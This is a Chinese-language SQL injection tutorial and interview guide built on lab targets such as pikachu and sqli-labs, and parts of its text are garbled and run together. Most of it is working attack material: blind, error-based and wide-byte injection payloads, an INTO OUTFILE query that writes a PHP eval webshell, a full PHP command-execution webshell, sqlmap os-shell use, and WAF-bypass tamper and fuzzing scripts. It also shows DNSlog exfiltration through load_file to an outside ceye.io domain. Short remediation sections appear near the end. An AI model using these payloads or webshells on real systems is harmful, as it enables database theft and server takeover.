select ascii(substr(database(),1,1))>xx;通过对比ascii码的长度,判断出数据库表名的第一个字符。
注:* substr()函数*
substr(string,start,length)
mysql账户密码存在MySQL>user>报错updatexml()、extractvalue()、 floor()httphead注入string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。
select length(database())<xx;判断表名长度为 7 。
回到pikachu平台按照之前的逻辑,我们构造语句,如果返回 1 ,那么就会爆出选择的信息,返回 0 ,就会返回 您输入的username不存在! 。按照之前逻辑,输入sql语句:
vince’ and ascii(substr(database(),1,1))=112#
通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。
p
同之前的办法,我们也可以获得information_schema.tables里的数据。但在实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等 工具来增加盲注的效率。
- 基于时间型SQL盲注
到base on time盲注下,输入上个演示中设置好的payload vince’ and ascii(substr(database(),1,1))=112#,返回的信息发现不存在注入点。 那这样就不能进行注入了?但其实可以通过后端的执行时间来进行注入。这里会用到的payload: vince’ and sleep(x)#
基于时间的延迟,构造一个拼接语句:
vince’ and if(substr(database(),1,1)=‘X’ (猜测点:比如p)’,sleep(10),null#,
那么通过这个方法,虽然只能通过判断单个字符,我们同样可以使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每
一个表名的字符。输入语句:输入后,如果猜测真确,那么就会响应 10 秒,如果错误会立刻返回错误。输入:vince’ and if(substr(database(),1,1)=‘p’,sleep(10),null)#,再 web控制台下,判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。
p
堆叠注入
宽字节注入
宽字节注入是利用了编码中使用的是Ascii编码,而MySql使用了GBK编码,导致的注入漏洞单独注入一个单引号:’没任何反应。
代表了无法注入,主要原因是mysql中的addslashes函数,起作用是:,让’变成’,让引号变得不再是“单引号”,只是一撇而已。一般绕过方 式就是,想办法处理’前面的\:
1.想办法给\前面再加一个\(或单数个即可),变成\’,这样\被转义了,‘逃出了限制
2.想办法把\弄没有。
我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于 128 ,才 到汉字的范围。
输入%df’ 试试:
为什么从刚才到现在,只是在’也就是%27前面加了一个%df就报错了?而且从图中可以看到,报错的原因就是多了一个单引号,而单引号前 面的反斜杠不见了。
这就是mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了 出来。
明白了这个特性之后,就可以进行宽字节注入:
例如:?id=1%df’ order by 5%23 其中%23是为匹配本来属于sql语句的剩余的单引号
提示:输入表名或库名时,需要将之转为 16 进制表达。
三、sql 注入可以 getshell 吗?如何 getshell?#
一. into outfile#
利用条件#
1. 此方法利用的先决条件#
web目录具有写权限,能够使用单引号
知道网站绝对路径(根目录,或则是根目录往下的目录都行)
secure_file_priv没有具体值(在mysql/my.ini中查看)- secure_file_priv
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以 后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值 没有具体值 时,表示 不对mysqld 的导入|导出做限制所以如果我们要想使用into outfile函数写入一句话的话就需要将secure_file_priv 的值设为没有值,那如何设置了?修改secure_file_priv 的 值只能通过手动打开配置文件进行修改,不能直接使用sql语句进行修改
( 1 )看secure-file-priv参数的值
如下,secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出
( 2 )修改secure_file_priv 的值
我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ‘’ 即可
此时再查看secure_file_priv的值如下已经变为空了
show global variables like '%secure%';设置完成后我们就可以利用这个函数来写入一句话木马#
写入webshell#
我们以sqli-labs第七关为例
- 注入点判断
输入正确的语法正常显示,错误的语法显示说语法错误,页面只存在两种状态,判断为盲注。我们输入?id=3’)) and sleep(5) –+时成功延 时,所以注入点就为3’)),我们输入的字符被包含在单引号中,且单引号外有两个双引号包裹
2. 判断列数#
我们使用order by 语句判断列数,order by 3时,正常显示, 4 时不正常,判断为 3 列
- 写入webshell
加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话 “ ”。一句话建议进行十六进制转码(不用编码也可以) 16 进制 转换, 16 进制转换文本字符串,在线 16 进制转换 | 在线工具
编码后,然后在最前面加上 0x。如下我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中
成功写入,这里网站的目录要使用双斜杠不然会写不进去,第一个斜杠是转义的意思,字符串解析不仅仅局限于C编译器,Java编译器、一些 配置文件的解析、Web服务器等等,都会遇到对字符串进行解析的这个问题,由于传统的 Windows采用的是单个斜杠的路径分隔形式,导 致在对文件路径进行解析的时候可能发生不必要的错误,所以就出现了用双反斜杠"\“分隔路径的形式。 不管解析引擎是否将反斜杠解析成 转义字符,最终在内存中得到的都是”",结果也就不会出问题了。
- 连接webshell
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile
'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+成功连接#
如果我们将 secure_file_priv的值为设置为null,我们在进行上面的写入操作发现并没有写进去。
所以没有写进去的情况有两种:#
网站的路径不对,或者没有使用双斜杠进行转义#
secure_file_priv的值不是为空二. –os-shell#
原理#
- -os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件
此为sqlmap的一个命令,利用这条命令的先决条件:
要求为数据库DBA,使用--is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root,是则为dba
secure_file_priv没有具体值
知道网站的绝对路径使用
我们以sqli-labs第一关为例
这里需要我们选择网站的脚本语言,和网站根路径#
[ 1 ] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default) #sqlmap自带测试常规路径
[ 2 ] custom location(s) #自己填写绝对路径
[ 3 ] custom directory list file #自己填写目录字典,我们将字典所在的路径传过去就行
[ 4 ] brute force searchsqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):
tmpbeewq.php 用来执行系统命令
tmpuqvgw.php 用来上传文件- tmpbeewq.php的文件内容为
sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell访问一下#
- 使用tmpuqvgw.php上传文件
我们上传一个php的一句话后门
访问#
所以这两种方式都需要知道网站的绝对路径才行。#
补充:#
上面说了sqlmap写入webshell的方式有三种,缺一不可
web目录具有写权限,能够使用单引号
知道网站绝对路径
secure_file_priv没有具体值(在mysql/my.ini中查看)在最近的一次护网中,我使用sqlmap写webshell,知道了网站的根目录,还是写不进去。就是由于secure_file_priv的值为NULL。那怎么知 道这个值是什么了
- -sql-shell
我们可以先使用这个来执行一些sql语句
1. 查看文件路径(mysql/data的路径,根目录一般与mysql处于同一目录)1. 查看secure_file_priv的值是否为空如下为null,无法写入
<?php
$c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("dis
able_functions");if(!empty($z)){$z=preg_replace("/[,
]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n)
{global $z;return is_callable($n)and!in_array($n,$z);}if(f("system"))
{ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open"))
{$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1]))
{$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru"))
{ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x))
{while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec"))
{$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"\<pre\>$w</pre>";?>sqlmap.py -u "xxx" --sql-shellselect @@datadir;select @@secure_file_priv当为空的时候则什么都不返回#
四、sql 注入不能使用 and 和 or,你如何开始你的注入?#
当常用字符被注释无法使用时,通常采取以下方法(可自行搜索sql注入绕开过滤等):#
0x01字母被注释(or、and等)#
1. 大小写变形#
2. 改变编码#
如:通过hex、urlencode、url等编码
举例:如果or被过滤时,我们可以采用url编码(其相当于把ascii编码的0x给替换成%,比如o的ascii为0x6f,url编码就
是%6f),这个时候我们可以试试%6fr,即把o换成url编码,也可以全换,也可以大小写的换,如果没被过滤就成功了,(如
果%被过滤了的话…)
【注:这个可以积极的去使用,比如测试时and被注释,使用&&替换也失败,这个时候不妨试试%26%26(&的url编码)】
3. 添加注释
如:/* */(这个不止可以应对字母被注释)
举例:某个过滤器能够过滤的字符如下——“select ”、”from ”、”limit ”等,注意这些字符最后面都有一个空格,这个时候我们就能
通过内联注释来绕过这个过滤器,如:
【注:这个注释甚至可以穿插在关键字当中,例如被过滤了or,我们可以把order by改成o/**/rder by,参考的资料上是这么说,但本人试 了没成功,不知是否依旧实用】
4. 往字符里面插入被过滤的字符(双写法)
比如or被过滤了,我们可以往里面加or,即注入:oorr,这个时候里面的or就被删去了,剩下的组成新字符,也就是or,是个很
好用的绕过方法,像这种类似的还有很多,需要我们去思考
5.利用符号形式
如:&&、|| 举例:
0x02数字被注释( 1 、 2 等)#
6. 使用浮点数#
0x03 符号被注释(<、>等)#
7. 利用函数代替#
如盲注时经常用到比较,这时候要是比较符号被注释了不能用平常的方法了,所以需要用某些函数如greatest()
【greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值】、least()等,
【注:当or被注释时,像order by这种含有相关字符的语句也同样无法使用,这个时候如果改变大小写也无用时,可以使用上述
如:Or、OR、oR等SELECT/**/username,password/**/FROM/**/users‘ || updatexml(1,concat(0x7e,(select database()),0x7e),1)--+如:1.0、2.0比如语句:select * from users where id=1 and ascii(substr(database(),0,1))>64
就可以替换成:select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64的内联注释/**/,或者用别的编码形式,如果不行的话,那就只能放弃使用order by,可以尝试使用group by语句等】
五、说一下 Sql 注入的危害、原理与修复#
原理:sql注入,简而言之就是攻击者将一个sql语句或字符注入到一个web应用程序中使其能够进行任意访问,web应用程序没有强大
的功能或者说是不严谨,在对用户输入的数据的合法性没有进行严格的筛选和过滤,导致攻击者利用这一漏洞进行入侵。危害: 1 、获取企业、个人未经授权的隐私信息,一些机密数据 2 、网页内容伪造篡改 3 、数据库、服务器、网络(内网、局域网)受到攻击,严重时可导致服务器瘫痪,无法正常运行
修复建议: 1 、对数据库进行严格监控 2 、对用户提交数据信息严格把关,多次筛选过滤 3 、用户内数据内容进行加密 4 、代码层最佳防御sql漏洞方案:采用sql语句预编译和绑定变量,是防御sql注入的最佳方法
六、说一下 SQL 注入绕 waf(安全狗,云锁)的思路#
WAF绕过—SQL注入#
对数据进行:大小写、加解密、编码解码等操作,使拦截失效#
例如,以sqlilabs-less-2为例(假设安全狗已经设置了禁止查询数据库): 此时输入以下语句时,注入将会被拦截
首先我们大致分析一下为什么会被拦截?#
安全狗拦截方式里采用了类似于正则表达式的编程,匹配到database()这个数据时,自动过滤。所以我们绕过只需要改变database()就行 了: 下列语句中混插了“/**/”这样,安全狗就无法匹配到database了 最基础的的一个拦截原理:
拦截 2 ,如果安全狗开启了 拦截SQL联合注入时#
联合注入绕过#
id=-1 union select 1,database(),3#id=-1 union select 1,database/**/(),3#只要使用在url内包含union select 的关键字段,就会被拦截
如果我们把注入按照以下格式写,就能绕过:#
通过转换工具可知:%23为#号,%0a为换行符,所以,绕过的写法如下:
参数污染#
union #a
select 1,2,3# #号表示注释掉后面的内容http://192.168.56.104/sqlilbas/Less-2/?id=-1%20union%20%23a%0aselect 1,2,3#当用户通过id=进行传递参数时,PHP/Apache服务器默认获取到的参数为Last,即最后一个值,例如当输入多个参数时:
如果采用PHP/Apache,id最终传递进去的值为 2 (忽略掉了id=1) 针对这个特性,只要我们知道了目标网站的服务器,我们再进行参数污染注入:
成功绕过:#
原理:#
因为安全狗能将这里这里的数据全部匹配(安全狗认为//中的内容是被注释的,不执行的),?id=1 /&id=-1 union select 1,2,3#/,但PHP/Apache服务器只匹配后面的值(id=-1 union select 1,2,3#/) 所以真正执行的语句是:
sqlmap利用参数污染注入
http://192.168.56.104/sqlilbas/Less-2/?id=1&id=2http://192.168.56.104/sqlilbas/Less-2/?id=1 /**&id=-1%20union%20select%201,2,3%23*/
http://192.168.56.104/sqlilbas/Less-2/?id=1%20/**&id=-1%20union%20select%201,version(),3--+*/select * from users where id=-1 union select 1,2,3#*/我们自定一个sqlmap的temper名叫rdog.py,格式写法可以参照其他的tmper作模板,下面举例只写了两个payload,可以根据需要自己 再多写几个
我们这时候就可以拿脚本去跑#
其中–tamper为设置某个py脚本,–proxy为设置http代理(方便burpsuite抓包分析,可以不写),–random-agent为绕过安全狗拦截 sqlmap注入工具
相关参数污染#
这里 50001 表示假如 数据库是5.00.01以上版本,该语句才会被执行#
同时,这里可以和union select绕过配合起来,例如:
(all也是一个干扰,防匹配) 这样就不是一个完整的union select,所以也有可能绕过安全狗
fuzz跑参数污染字典
#%23a%0aunion/*!44575select*/1,2,3
payload = payload.replace('union','%23a%0aunion')
payload = payload.replace('select','/*!44575select*/')
payload = payload.replace('%20','%23a%0a')
payload = payload.replace('%20','%23a%0a')
payload = payload.replace(' ','%23a%0a')
payload = payload.replace('database()','database%23a%0a()')python sqlmap.py -u "192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888 --
random-agent/*!50001 select * from test */;union all /*!50001 select * from test */;import requests
import timeurl='http://'
for sqlin in open('unionselect.txt'):
urls=urls+sqlin
result=requests.get(urls).text
if(result.find('safedog')==-1):
print(sqlin)
time.sleep(1)另一种思路(代码可能有误,仅作思路)#
补充:#
/!select * from tables limit 0,1/;与select * from tables limit 0,1;等价
sqlmap访问过快被拦截#
方法一:爬虫白名单#
首先百度找一个搜索引擎爬虫http指纹头 例如百度爬虫: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729) 然后修改sqlmap的user-agent:相关教程 这里我们使用自定义user-agent
方法二:延时注入#
参数:#
–delay –safe-freq
方法三:代理池#
…#
补充问题(自定义sqlmap访问过快被拦截的参数):#
如果某waf工具检测的不止是user-agent,还检测了sqlmap不支持的头,例如检测的是Cache-Control部分的内容,该如何解决呢?
1.使用burpsuite的intruder,然后在positions页面修改成*号,添加一个变量,再到payloads里设置变量的字典,不断替换(这种办法需要 替换每一个的数据包,相当麻烦,不推荐)
import requests
url='http://192.168.56.104/sqlilbas/Less-2/?id=-1'
a={'%23x%0aunion','.0union','%09union','%0aunion','%0bunion','%0cunion','%0dunion','%20union','%a0union'}
b='/*!'
c='select*/'
d='1,2,3'for i in range(44500,44600):
for aa in a:
urls=url+aa+b+str(i)+c+d
#fp=open('bypasstestsqlin.txt','a+')
#fp.write(urls+'\n')result=requests.get(urls).text
print(result)
if(result.find('safedog')==-1):
print(urls)python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --
proxy=http://192.168.56.217:8888 --user-agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN;
rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)" --tablespython sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --
proxy=http://192.168.56.217:8888 --tables --delay 1
python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --
proxy=http://192.168.56.217:8888 --tables --safe-freq 32.可以把post数据放到一个txt里(把需要检测的值修改好)。
再使用:-r参数
3.自己写脚本进行中转,这篇文章最后有提到如何中转,相同的,中转中也可以写user-agent参数,相关文章: https://www.cnblogs.com/keta/p/9469417.html 思路:sqlmap注入本地脚本地址——>本地搭建脚本(请求数据包自定义编写)——>远程地址
深入WAF绕过:#
方式一:白名单绕过#
1.通过IP白名单,伪造数据包中的header头来bypass waf x-forwarded-for x-remote-ip x-originating-ip x-remote-addr x-real-ip
方式二:静态资源#
特定的 资源后缀请求,txt文件写进去,常见的静态文件(.js.jpg.swf.css等),类似白名单机制,waf为了检测效率,不去检测这样一些静态 文件后缀的请求
备注:Aspx/php只识别到前面的.aspx/.php后面基本不识别
方式三:url白名单#
因为在某些文件中执行的操作可能会被误拦截,部分网站可能会添加此类白名单。可以针对这个文件尝试进行注入#
方式四:爬虫白名单#
如果对网站访问速度过快,则会被拦截#
但是某些网站是采用爬虫进行运转的,例如百度。一般来说,各个网站都会把百度的爬虫放进白名单。#
我们则可以使用head后中的User-Agent来伪造Baiduspider(百度爬虫)
七、说一下 sql 手工注入流程#
SQL注入是一种常见的Web应用程序安全漏洞,攻击者可以通过构造恶意的输入数据,绕过身份验证、绕过数据访问控制等机制,从而对数 据库进行非法访问和操作。下面是手工进行SQL注入的一般流程:
python sqlmap.py -r 3.txt --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tablesless-2/index.php/x.txt?id=1 and 1=1
less-2/index.php/x.js?id=1 and 1=11. 收集目标站点信息:攻击者需要了解目标站点的数据库类型、Web框架、URL结构等信息,这些信息可以通过探测工具、搜索引擎、站
点源代码等方式获得。
2. 找到注入点:攻击者需要找到能够接受用户输入并将其拼接到SQL语句中的注入点,这些注入点可能是搜索框、登录框、评论框等。
3. 构造注入语句:攻击者可以通过手工构造SQL语句,向注入点中注入恶意的代码,例如 UNION SELECT语句、OR语句、1=1语句等。
4. 判断注入结果:攻击者需要判断注入结果是否存在漏洞,例如是否返回了错误信息、是否返回了敏感信息等。
5. 扩大注入范围:如果注入成功,攻击者可以扩大注入范围,例如通过修改URL参数、使用Burp等代理工具进行扩大注入范围。
6. 获取敏感信息:如果注入成功,攻击者可以通过注入语句获取敏感信息,例如用户名、密码、信用卡号等。八、已知一个注入点,并且已经知道怎么绕过 waf,但是取数据的时候没有任何#
回显怎么办?(面试官告诉我是利用 DNSlog 和 VPS 的 log,不是很懂)#
第一题~第四题:回显注入#
1.字符串:单引号’闭合#
判断注入类型#
id=1
id=1 and 1=2
id=1’
说明为字符型注入 源代码:id=’$id’ LIMIT 0,1 构造:id=‘1’’ LIMIT 0,1 报错: ‘1’’ LIMIT 0,1’(最外面的’ ‘是回显时添加的)
id=-1’ –+
说明sql为单引号闭合
id=1’ order by 3正常
id=1’ order by 4报错
判断字段数为 3
id=-1’ union select 1,2,3 判断可利用字段数
爆库:
爆表:#
id=-1' union select 1,database(),3--+id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-
-+爆字#
段名:#
爆字段值:#
2.数字型注入#
id=1
id =1 and 1=2
说明为数字型注入#
后面操作同第一题#
3.字符串: ‘单引号+()括号闭合#
id=1
id=1 and 1=2
均正常
id=1’
说明为字符型注入,sql为’单引号+()括号闭合
后续操作如第一题
4.字符串:“双引号+(括号)闭合#
id=1”
说明存在字符型注入,sql为"双引号+(括号)闭合
后续操作如第一题
id=-1 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'
--+id=-1 ' union select 1,group_concat(username),group_concat(password) from users --+like 'ro%' #判断ro或ro...是否成立regexp '^xiaodi[1-z]' #匹配xiaodi及xiaodi...等if(条件,5,0) #条件成立,返回 5 ,反之,返回 0sleep(5) #SQL语句延时执行 5 秒mid(a,b,c) /substr(a,b,c) #从B位置开始,截取字符串a的c长度length(database())=8 #判断数据库database()名的长度ascii(x)=97 #判断x的ascii码是否等于 97ord(string) #返回字符串第一个字符的ascii码值ifnull(x,y) #如果x不为null返回x,否则返回ycast(x as y类型) #强转,将x转化为y类型第五,六,八,九,十题:盲注#
获取的数据不能回显至前端页面,要使用盲注#
1.基于报错的SQL盲注-报错回显(优先级: 1 )#
floor,updatexml,extractvalue详情看转载:CTFHub技能学习——报错注入(含注入原理,WriteUp) - Lxxx (xiinnn.com)
基于布尔的SQL盲注-逻辑判断(优先级: 2 ) regexp,like,ascii,left,ord,mid
2.基于布尔的SQL盲注-逻辑判断(优先级: 2 ) regexp,like,ascii,left,ord,mid
3.基于时间的SQL盲注-延时判断(优先级: 3 ) 在布尔盲注的基础上加上sleep()函数
其他报错函数转载:12种报错注入+万能语句 - 简书
5.false和ture两种响应状态#
id=1’
所以sql为单引号闭合
id=1’ and 1=1–+ 正确显示
id=1’ and 1=2–+ 错误显示
order by知道三个字段名
union select 1,2,3无回显
尝试报错注入#
爆库security
爆表users
id=1’ or updatexml(1,concat(0x7e,select group_concat(table_name) from information_schema.tables where table_schema=‘security’,0x7e),1)–+
id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)--+注意要加()#
id=1’or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1)–+
爆字段名#
这里不对劲,* 对比第一题的字段名少了很多*#
是因为updatexml和extractvalue报错的回显最多 32 位
这个时候可以使用 substr 函数,将没有显示出来的部分截取出来
爆字段值#
一个一个爆#
爆username
爆password
同样存在的问题显示的数据只有 32 位不够全,需要用 substr(字符串,起始位置,截取长度)来获取
id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where
table_name='users'),0x7e),1)--+id=1' or updatexml(1,concat(0x7e,(select substr(group_concat(column_name),32,32) from
information_schema.columns where table_name='users'),0x7e),1)--+id=1' or updatexml(1,concat(0x7e,(select group_concat(username),group_concat(password) from users),0x7e),1)--
+id=1' or updatexml(1,concat(0x7e,(select group_concat(username), from users),0x7e),1)--+id=1' or updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+尝试布尔盲注#
二分法#
先猜测数据库名字长度(数据库名字不含有特殊符号)#
显示正确时的页面说明长度大于 5#
说明长度可能为6,7,8#
说明为长度可能为7,8#
说明长度为 8 已知数据库为security确实为 8 位
再猜每一位字母是什么#
然后如上使用二分法不断查找#
再猜表名#
第一个表名第一个字符#
重复第一个表名第二个,第三个….字符#
第二个表名第一个字符#
id=1' and (length(database()))>5--+id=1' and (length(database()))>8--+id=1' and (length(database()))>6--+id=1' and (length(database()))>7--+id=1'and ascii(substr(database(),1,1))>114--+id=1'and ascii(substr(database(),x,1))>num--+(第x个字符与num)id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit
0,1),1,1))=101--+id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit
1,1),1,1))=114--+注意点:substr起始位置从 1 开始,limit 起始位置从 0 开始
按上述获取表名后利用 regexp判断 users 表中存在的列名#
id=1’ and 1=(select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^username’ limit 0,1)–+
然后将username换为其他猜测列名判断是否存在
利用ord()和mid()函数获取users表的字段值#
获取users表里的username字段的字段值的第一个字符D
id=1’ and ord ( mid ((select ifnull ( cast (username as char),0x20)from security.users order by id limit 0,1),1,1))=68–+
延迟盲注#
延迟盲注就是在布尔盲注上加了延迟时间函数sleep(),用在True和False变化都没时用,
通过页面的响应时间来判断布尔逻辑的正确与否
使用方法:
if(布尔,A,B)与三目运算符逻辑一样,加上sleep函数
sleep(if(布尔,A,B))布尔正确,延迟A秒,布尔错误,延迟B秒
或者 if(布尔,1,sleep(x))布尔正确,无延迟,布尔错误,延迟x秒
布尔盲注和延迟盲注一般都使用工具来进行
6.相对第五题只有一个不同:单引号闭合变为双引号闭合#
8.不能使用报错注入,可以使用布尔注入和延时注入#
id=1’
id=1’ –+
说明sql为单引号闭合
尝试报错注入
没有返回sql错误,可能被屏蔽了
查看源代码
延时盲注#
9.基于单引号闭合,只能使用延时注入,因为无论正确与否显示的都是相同信息#
10.与第九题一样,除了基于双引号闭合#
DNSlog注入#
1.原理#
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上 配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的 时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日 志,获取信息
2.利用场景 在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入 等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。
3.推荐平台
DNSLog Platform CEYE - Monitor service for security testing(需注册)
4.使用
id=1' and if (lenth(database()) = 8,1,sleep(5)) --+id=1' and if (ascii(substr(database()),1,1)>110,1,sleep(5)) --+转载:Dnslog在SQL注入中的实战 - 程序员大本营 (pianshen.com)
以第八题为例#
?id=-1’ and load_file(concat("\\",database(),".ofw9z4.ceye.io\xxx.txt"))–+
注意点:"\\" 四个\不能少 .xxxx.ceye.io是你的子域名,前面要加个. 后面的\xxx.txt,\是必须的,xxx.txt这部分随便是什么内容,不能为空。
原因:unc路径,load_file读取本地文件
解释:这个语句就是利用concat将select 查询到的结果与一个dnslog的地址进行拼接,形成一个能够访问的域名;接着用load_file来导入 (或者说请求)这个地址;于是在DNSLOG中会有记录
可以看到数据库名字#
九、说一下 SQL 注入修复建议#
一般思路#
过滤#
( 1 )针对SQL注入漏洞,需要对网站所有参数中提交的数据进行过滤,禁止输入"’“、“xor”、“or”、”–“、”#"、“select”、“and"等特殊字符;
( 2 )所有的查询语句都使用数据库提供的参数化查询接口,SQL语句使用参数化处理后的数据作为输入,而不是将用户输入变量嵌入到SQL语 句中;
权限#
严格限制网站用户对数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害;#
回显#
避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者收集这些错误信息进行判断进而执行SQL注入攻击。#
php参数为int型的sql注入漏洞#
Intval()函数用于获取变量的整数值
php参数为字符串型的sql注入漏洞#
Addslashes() 返回在预定义字符之前添加反斜杠的字符串
其中的预定义字符是什么自己搜
数据库为GBK时,可以使用宽字节注入
十、SQL 注入产生的原因是什么?如何防御?是如何进行挖掘的?说一下 SQL#
注入语句二分法#
SQL 注入是指攻击者通过构造恶意的 SQL 语句来攻击数据库系统,从而获取或篡改数据的一种攻击方式。SQL 注入的主要原因是应用程序#
没有对用户输入的数据进行充分的过滤和验证,从而导致攻击者可以通过构造特定的输入来绕过应用程序的安全机制并执行恶意的 SQL 语#
句。#
为了防御 SQL 注入攻击,可以采取以下几个措施:#
1. 输入验证和过滤:对于所有的用户输入数据都需要进行验证和过滤,例如检查输入数据的类型、长度、格式等,并过滤掉一些特殊字符#
和关键字,以避免恶意的 SQL 语句被执行。#
2. 参数化查询:使用参数化查询的方式来执行 SQL 语句,而不是将用户输入的数据直接拼接到 SQL 语句中,从而避免注入攻击。#
3. 最小权限原则:为数据库用户分配最小的权限,只授权其所需的最基本的操作权限,从而减少攻击者利用注入漏洞进行的恶意操作。#
SQL 注入的挖掘主要基于对应用程序的渗透测试和漏洞扫描。渗透测试是指通过模拟攻击者的攻击方式,对应用程序进行全面的安全测#
试,并发现和利用其中的安全漏洞。漏洞扫描则是通过自动化工具对应用程序进行扫描,检测其中的安全漏洞。在挖掘 SQL 注入漏洞#
时,可以通过构造一些特定的输入数据,例如一些特殊字符和关键字,来测试应用程序的输入过滤和验证机制,并尝试绕过这些机制执#
行恶意的 SQL 语句。#
SQL 注入语句二分法是一种基于二分查找的 SQL 注入攻击方式,它通过构造一些特定的 SQL 语句,来逐位猜测数据库中某个字段的#
值,并通过猜测结果判断其是否正确。具体来说,攻击者会构造一个类似于“SELECT * FROM table WHERE field='A' OR
ASCII(SUBSTR(field, 1, 1))>x”的 SQL 语句,其中 x 的值会逐渐增加,直到 SQL 语句返回结果为假为止。这种攻击方式需要攻击者具备
一定的数据库和编程知识,并且需要在很短的时间内进行大量的尝试,因此对于防御方来说,需要在数据库和应用程序中采取一系列的
安全措施来避免注入攻击。十一、怎样判断 sql 注入是否执行成功?说一下 sql 注入的类型和检测方法#
判断 SQL 注入是否执行成功,需要根据具体的攻击目的和攻击方式来进行判断。一般来说,SQL 注入的攻击目的主要包括获取数据、篡改#
数据、执行任意操作等,因此可以通过以下几种方式来判断 SQL 注入是否执行成功:1. 数据库日志:在数据库系统中可以开启日志功能,记#
录所有的数据库操作和异常信息。通过查看数据库日志,可以发现是否有异常的 SQL 语句被执行,并确定其执行结果。2. 应用程序日志:应#
用程序中也可以记录所有的用户操作和异常信息。通过查看应用程序日志,可以发现是否有恶意的 SQL 语句被执行,并确定其执行结果。3.#
数据库查询:可以通过手动查询数据库,检查数据是否被恶意篡改或删除等异常情况。4. 网络监控:可以通过网络监控工具,检测是否有异#
常的网络流量和数据库连接情况,以及是否有异常的 SQL 语句被执行等。#
SQL 注入的类型主要包括以下几种:1. 基于错误的注入:利用应用程序错误信息暴露出的 SQL 语句信息,构造恶意的 SQL 语句进行攻击。#
2. 基于联合查询的注入:通过 UNION 关键字将多个查询结果合并在一起,从而绕过应用程序的输入验证和过滤机制。3. 基于时间的注入:#
利用数据库的时间函数来进行延时攻击,从而判断是否执行成功。4. 盲注注入:通过构造特定的 SQL 语句,获取或篡改数据库中的数据,但#
无法直接获得执行结果。#
SQL 注入的检测方法主要包括以下几种:1. 手动检测:通过手动构造一些恶意的输入数据,测试应用程序的输入验证和过滤机制,以及是否#
